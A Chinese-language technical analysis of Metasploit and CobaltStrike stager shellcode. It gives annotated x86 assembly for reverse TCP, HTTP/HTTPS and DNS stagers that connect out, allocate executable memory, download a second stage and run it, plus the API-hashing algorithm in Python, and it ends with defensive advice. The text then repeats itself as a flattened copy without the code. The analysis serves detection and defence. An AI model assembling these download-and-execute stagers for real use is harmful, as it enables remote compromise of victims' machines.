Metasploit & CobaltStrike 的shellcode分析
字数 1447 2025-08-24 10:10:13

Metasploit & CobaltStrike Shellcode 深度分析

1. 概述

本文详细分析 Metasploit 和 CobaltStrike 框架生成的 shellcode 实现机制,重点解析 Reverse TCP、Reverse HTTP/HTTPS 和 Reverse DNS 三种常见 payload 的工作原理。

2. Metasploit Shellcode 分析

2.1 基本结构

Metasploit shellcode 通常采用以下基本结构:

cld                 ; 清除方向标志
call start          ; 调用start,将api_call地址压入栈
#{asm_block_api}    ; API调用功能块
start:
    pop ebp         ; 获取api_call地址
#{asm_reverse_tcp}  ; 反向TCP连接代码
#{asm_block_recv}   ; 接收第二阶段代码

2.2 Reverse TCP 实现

2.2.1 初始化阶段

  1. 加载 ws2_32.dll:
push 'ws2_32'       ; 压入"ws2_32"字符串
push esp            ; 字符串指针
push LoadLibraryA_hash
call ebp            ; LoadLibraryA("ws2_32")
  1. 初始化 Winsock:
mov eax, 0x0190     ; sizeof(struct WSAData)
sub esp, eax        ; 分配WSAData空间
push esp            ; WSAData指针
push eax            ; wVersionRequested
push WSAStartup_hash
call ebp            ; WSAStartup(0x0190, &WSAData)

2.2.2 创建Socket

push encoded_host   ; 目标主机IP
push encoded_port   ; 端口和AF_INET
mov esi, esp        ; 保存sockaddr指针
push 0              ; flags
push 0              ; reserved
push 0              ; 不指定协议
inc eax
push eax            ; SOCK_STREAM
inc eax
push eax            ; AF_INET
push WSASocketA_hash
call ebp            ; WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0)
xchg edi, eax       ; 保存socket句柄

2.2.3 连接目标

push 16             ; sockaddr结构长度
push esi            ; sockaddr指针
push edi            ; socket
push connect_hash
call ebp            ; connect(s, &sockaddr, 16)
test eax,eax        ; 测试连接是否成功
jz connected        ; 成功则跳转

2.2.4 接收第二阶段

  1. 接收大小信息:
push 0              ; flags
push 4              ; 接收4字节长度
push esi            ; 缓冲区
push edi            ; socket
push recv_hash
call ebp            ; recv(s, &dwLength, 4, 0)
  1. 分配内存:
mov esi, [esi]      ; 获取第二阶段长度
push 0x40           ; PAGE_EXECUTE_READWRITE
push 0x1000         ; MEM_COMMIT
push esi            ; 长度
push 0              ; NULL
push VirtualAlloc_hash
call ebp            ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
xchg ebx, eax       ; 保存分配的内存地址
  1. 接收数据:
read_more:
    push 0          ; flags
    push esi        ; 剩余长度
    push ebx        ; 当前缓冲区位置
    push edi        ; socket
    push recv_hash
    call ebp        ; recv(s, buffer, length, 0)
    add ebx, eax    ; 调整缓冲区位置
    sub esi, eax    ; 减少剩余长度
    jnz read_more   ; 继续接收直到完成
ret                 ; 跳转到第二阶段执行

2.3 Reverse HTTP/HTTPS 实现

2.3.1 初始化阶段

  1. 加载 wininet.dll:
push 'wininet'      ; 压入"wininet"字符串
push esp            ; 字符串指针
push LoadLibraryA_hash
call ebp            ; LoadLibraryA("wininet")
  1. InternetOpenA:
push 0              ; dwFlags
push 0              ; lpszProxyBypass
push 0              ; lpszProxyName
push 0              ; dwAccessType (PRECONFIG)
push 0              ; lpszAgent (NULL)
push InternetOpenA_hash
call ebp            ; InternetOpenA(NULL, 0, NULL, NULL, 0)

2.3.2 建立连接

push 0              ; dwContext
push 0              ; dwFlags
push 3              ; INTERNET_SERVICE_HTTP
push 0              ; password
push 0              ; username
push port           ; 端口
push server_host    ; 主机名
push eax            ; hInternet
push InternetConnectA_hash
call ebp            ; InternetConnectA(hInternet, server_host, port, NULL, NULL, 3, NULL, NULL)
mov esi, eax        ; 保存hConnection

2.3.3 创建HTTP请求

push 0              ; dwContext
push http_flags     ; dwFlags
push 0              ; accept types
push 0              ; referrer
push 0              ; version
push server_uri     ; URI
push 0              ; method
push esi            ; hConnection
push HttpOpenRequestA_hash
call ebp            ; HttpOpenRequestA(hConnection, NULL, server_uri, NULL, NULL, NULL, dwFlags, NULL)
xchg esi, eax       ; 保存hHttpRequest

2.3.4 发送请求

push 0              ; lpOptional length
push 0              ; lpOptional
push -1             ; dwHeadersLength
push headers        ; lpszHeaders
push esi            ; hHttpRequest
push HttpSendRequestA_hash
call ebp            ; HttpSendRequestA(hRequest, headers, -1, NULL, 0)
test eax,eax        ; 测试是否成功
jnz allocate_memory ; 成功则跳转

2.3.5 接收第二阶段

  1. 分配内存:
push 0x40           ; PAGE_EXECUTE_READWRITE
push 0x1000         ; MEM_COMMIT
push 0x00400000     ; 4MB空间
push 0              ; NULL
push VirtualAlloc_hash
call ebp            ; VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  1. 下载数据:
xchg ebx, eax       ; 保存分配的内存地址
push ebx            ; 保存地址用于后续ret
mov edi, esp        ; &bytesRead
download_more:
    push edi        ; &bytesRead
    push 0x2000     ; 读取长度
    push ebx        ; 缓冲区
    push esi        ; hRequest
    push InternetReadFile_hash
    call ebp        ; InternetReadFile(hRequest, buffer, 0x2000, &bytesRead)
    add ebx, [edi]  ; 调整缓冲区位置
    test eax,eax    ; 测试是否成功
    jnz download_more ; 继续下载
ret                 ; 跳转到第二阶段执行

2.3.6 HTTPS 特殊处理

HTTPS 与 HTTP 的主要区别在于需要设置安全选项:

push 0x3380         ; SECURITY_FLAG_IGNORE_* 组合
mov eax, esp
push 4              ; sizeof(dwFlags)
push eax            ; &dwFlags
push 31             ; INTERNET_OPTION_SECURITY_FLAGS
push esi            ; hHttpRequest
push InternetSetOptionA_hash
call ebp            ; InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, 4)

3. CobaltStrike Shellcode 分析

3.1 Reverse HTTP/HTTPS

CobaltStrike 的 shellcode 结构与 Metasploit 类似,但有以下区别:

  1. HTTP 标志不同:
push 0x84400200     ; HTTP标志 (非SSL)
push 0x84C03200     ; HTTPS标志 (SSL)
  1. 额外调用 InternetErrorDlg:
push GetDesktopWindow_hash
call ebp            ; GetDesktopWindow()
push 0              ; lppvData
push 7              ; dwFlags
push 0xFFFFE000     ; dwError
push esi            ; hRequest
push eax            ; hWnd
push InternetErrorDlg_hash
call ebp            ; InternetErrorDlg(hWnd, hRequest, dwError, dwFlags, lppvData)
  1. User-Agent 不同:
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)

3.2 Reverse DNS 实现

3.2.1 初始化阶段

  1. 分配内存:
push 0x40           ; PAGE_EXECUTE_READWRITE
push 0x1000         ; MEM_COMMIT
push 0x7FFFF        ; 512KB空间
push 0              ; NULL
push VirtualAlloc_hash
call ebp            ; VirtualAlloc(NULL, 0x7FFFF, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
add eax, 0x40       ; 调整地址
mov edi, eax        ; 保存地址
push eax            ; 保存用于后续ret
  1. 加载 dnsapi.dll:
push 'dnsapi'       ; 压入"dnsapi"字符串
push esp            ; 字符串指针
push LoadLibraryA_hash
call ebp            ; LoadLibraryA("dnsapi")

3.2.2 DNS 查询

push esp            ; 保存栈指针
pop ebx             
sub ebx, 4          ; 调整指针
push ebx            ; ppQueryResults
push 0              ; pReserved
push ebx            ; pExtra
push 0x248          ; Options
push 0x10           ; wType (TXT记录)
push eax            ; pszName (DNS名称)
push DnsQuery_A_hash
call ebp            ; DnsQuery_A(dnsName, 0x10, 0x248, 0, ppQueryResults, 0)

3.2.3 处理查询结果

  1. 检查结果:
test eax,eax        ; 测试是否成功
jnz sleep_retry     ; 失败则重试
  1. 解析数据:
mov edi, [ebx]      ; 获取DNS_RECORD
mov edi, [edi+0x10] ; 获取TXT记录数据
add edi, 0xFF       ; 跳过前0xFF字节
  1. 获取数据长度:
push edi
push 0xCC8E00F4h    ; lstrlenA哈希
call ebp            ; lstrlenA(edi)
cmp eax, 0xFF       ; 检查长度
jl execute_stage    ; 如果小于0xFF则执行

3.2.4 执行阶段

execute_stage:
    jmp edi         ; 跳转到stage执行

3.2.5 重试机制

sleep_retry:
    push 0x13E8     ; 5000毫秒
    push Sleep_hash
    call ebp        ; Sleep(5000)
    jmp dns_query   ; 重新尝试查询

4. 关键技术与技巧

4.1 API 哈希定位技术

Metasploit 和 CobaltStrike 都使用哈希值而非函数名来定位API,避免字符串暴露。哈希算法为:

def ror_13(now):
    return ((now >> 13) | (now << (32-13))) & 0xFFFFFFFF

def hash_dll(dllName):
    hsValue = 0
    for c in dllName.upper():
        hsValue = ror_13(hsValue) + ord(c)
    return hsValue

def hash_api(apiName):
    hsValue = 0
    for c in apiName:
        hsValue = ror_13(hsValue) + ord(c)
    hsValue = ror_13(hsValue)
    return hsValue

def hash_dll_api(dllName, apiName):
    return (hash_dll(dllName) + hash_api(apiName)) & 0xFFFFFFFF

4.2 字符串嵌入技巧

通过 call+pop 方式嵌入字符串并获取指针:

call get_string
db "string content",0
get_string:
    pop eax         ; eax现在指向字符串

4.3 反射 DLL 加载技术

Metasploit 使用反射 DLL 技术,直接将 DLL 加载到内存中执行,无需落地文件。

4.4 DNS 隧道技术

CobaltStrike 的 DNS payload 使用 TXT 记录传输数据,数据通常以以下格式传输:

[随机前缀].stage.[会话ID].ns1.[域名]

数据存储在 TXT 记录中,前 0xFF 字节为填充,后面是实际的 stage 数据。

5. 防御建议

  1. 网络层防御:

    • 监控异常 DNS 查询模式
    • 限制出站连接,特别是到可疑 IP 的 HTTP/HTTPS 连接
    • 检测异常的 User-Agent 字符串
  2. 主机层防御:

    • 监控进程的异常内存分配 (PAGE_EXECUTE_READWRITE)
    • 检测调用敏感 API 序列 (LoadLibraryA -> VirtualAlloc -> InternetReadFile)
    • 使用 EDR 解决方案检测 shellcode 行为
  3. 应用层防御:

    • 保持软件更新,修补已知漏洞
    • 限制应用程序的网络访问权限
    • 使用代码签名验证加载的 DLL

通过深入理解这些 shellcode 的工作原理,安全团队可以更好地检测和防御相关的攻击行为。

Metasploit & CobaltStrike Shellcode 深度分析 1. 概述 本文详细分析 Metasploit 和 CobaltStrike 框架生成的 shellcode 实现机制,重点解析 Reverse TCP、Reverse HTTP/HTTPS 和 Reverse DNS 三种常见 payload 的工作原理。 2. Metasploit Shellcode 分析 2.1 基本结构 Metasploit shellcode 通常采用以下基本结构: 2.2 Reverse TCP 实现 2.2.1 初始化阶段 加载 ws2_ 32.dll : 初始化 Winsock : 2.2.2 创建Socket 2.2.3 连接目标 2.2.4 接收第二阶段 接收大小信息 : 分配内存 : 接收数据 : 2.3 Reverse HTTP/HTTPS 实现 2.3.1 初始化阶段 加载 wininet.dll : InternetOpenA : 2.3.2 建立连接 2.3.3 创建HTTP请求 2.3.4 发送请求 2.3.5 接收第二阶段 分配内存 : 下载数据 : 2.3.6 HTTPS 特殊处理 HTTPS 与 HTTP 的主要区别在于需要设置安全选项: 3. CobaltStrike Shellcode 分析 3.1 Reverse HTTP/HTTPS CobaltStrike 的 shellcode 结构与 Metasploit 类似,但有以下区别: HTTP 标志不同 : 额外调用 InternetErrorDlg : User-Agent 不同 : 3.2 Reverse DNS 实现 3.2.1 初始化阶段 分配内存 : 加载 dnsapi.dll : 3.2.2 DNS 查询 3.2.3 处理查询结果 检查结果 : 解析数据 : 获取数据长度 : 3.2.4 执行阶段 3.2.5 重试机制 4. 关键技术与技巧 4.1 API 哈希定位技术 Metasploit 和 CobaltStrike 都使用哈希值而非函数名来定位API,避免字符串暴露。哈希算法为: 4.2 字符串嵌入技巧 通过 call+pop 方式嵌入字符串并获取指针: 4.3 反射 DLL 加载技术 Metasploit 使用反射 DLL 技术,直接将 DLL 加载到内存中执行,无需落地文件。 4.4 DNS 隧道技术 CobaltStrike 的 DNS payload 使用 TXT 记录传输数据,数据通常以以下格式传输: 数据存储在 TXT 记录中,前 0xFF 字节为填充,后面是实际的 stage 数据。 5. 防御建议 网络层防御 : 监控异常 DNS 查询模式 限制出站连接,特别是到可疑 IP 的 HTTP/HTTPS 连接 检测异常的 User-Agent 字符串 主机层防御 : 监控进程的异常内存分配 (PAGE_ EXECUTE_ READWRITE) 检测调用敏感 API 序列 (LoadLibraryA -> VirtualAlloc -> InternetReadFile) 使用 EDR 解决方案检测 shellcode 行为 应用层防御 : 保持软件更新,修补已知漏洞 限制应用程序的网络访问权限 使用代码签名验证加载的 DLL 通过深入理解这些 shellcode 的工作原理,安全团队可以更好地检测和防御相关的攻击行为。